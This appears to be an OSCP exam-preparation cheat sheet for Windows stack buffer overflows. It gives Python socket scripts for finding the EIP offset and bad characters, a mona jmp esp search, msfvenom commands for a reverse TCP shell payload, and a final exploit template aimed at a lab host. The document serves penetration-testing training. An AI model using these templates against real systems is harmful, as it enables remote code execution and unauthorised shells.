OSCP BOF Buffer Overflow (PEN-200 Edit)
All you need to know about the BOF challenge for OSCP exam preparation.
1. Determine EIP Offset
Generate a unique pattern and feed it to the vulnerable application.
Copy #!/usr/bin/env python3
import socket
# msf-pattern_create -l 5000
buf = b '<UNIQUE_PATTERN>'
s = socket . socket (socket.AF_INET, socket.SOCK_STREAM)
s . connect (( '10.10.13.37' , 1337 ))
s . send (buf)
s . close ()
Calculate the offset from buffer to EIP overwrite point:
Copy $ msf-pattern_offset -l 5000 -q <EIP_VALUE>
[*] Exact match at offset <EIP_OFFSET>
2. Confirm BOF
Confirm that you can actually control the EIP value - if true, it will be overwritten with d34dc0d3
.
Copy #!/usr/bin/env python3
import socket
import struct
def little_endian ( num ):
return struct . pack ( '<I' , num)
junk = b 'A' * < EIP_OFFSET >
eip = little_endian ( 0x d34dc0d3 )
offset = b 'C' * 16
buf = junk + eip + offset
s = socket . socket (socket.AF_INET, socket.SOCK_STREAM)
s . connect (( '10.10.13.37' , 1337 ))
s . send (buf)
s . close ()
3. Enumerate the Bad Characters
Send all the possible byte values to the application. Then in the Immunity Debugger : right click on ESP -> "Follow in Dump" -> check what characters are missing or misinterpreted - they are the bad characters that should be excluded when generating the shellcode.
Copy #!/usr/bin/env python3
import socket
import struct
def little_endian ( num ):
return struct . pack ( '<I' , num)
junk = b 'A' * < EIP_OFFSET >
eip = little_endian ( 0x d34dc0d3 )
offset = b 'C' * 4
badchars = (
b '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10'
b '\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20'
b '\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30'
b '\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40'
b '\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50'
b '\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
b '\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70'
b '\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80'
b '\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
b '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0'
b '\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0'
b '\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
b '\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0'
b '\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0'
b '\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
b '\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
)
buf = junk + eip + offset + badchars
s = socket . socket (socket.AF_INET, socket.SOCK_STREAM)
s . connect (( '10.10.13.37' , 1337 ))
s . send (buf)
s . close ()
4. Build the Exploit
I. Find the Return Address
List all loaded modules in process memory space with mona :
Choose a module with no memory protections enabled and look for jmp esp
instruction in that module:
Copy $ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Or
nasm > call esp
00000000 FFD4 call esp
!mona find -s "\xff\xe4" -m "application.exe"
Discovered pointer is the needed value for EIP to force the execution flow into malicious shellcode.
II. Generate a Shellcode
Build a shellcode providing bad characters set from (3):
Copy $ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b "\x00" -f python
$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b "\x00" -e x86/shikata_ga_nai -f python
$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -b "\x00" -e x86/shikata_ga_nai -f python
5. Exploit!
Start a netcat listener, feed the shellcode to the application and catch your shell.
Copy #!/usr/bin/env python3
import socket
import struct
def little_endian ( num ):
return struct . pack ( '<I' , num)
junk = b 'A' * < EIP_OFFSET >
eip = little_endian ( 0x d34dc0d3 )
offset = b 'C' * 4
nops = b '\x90' * 10
buf = junk + eip + offset + nops
buf += b "<SHELLCODE>"
s = socket . socket (socket.AF_INET, socket.SOCK_STREAM)
s . connect (( '10.10.13.37' , 1337 ))
s . send (buf)
s . close ()
Last updated 9 months ago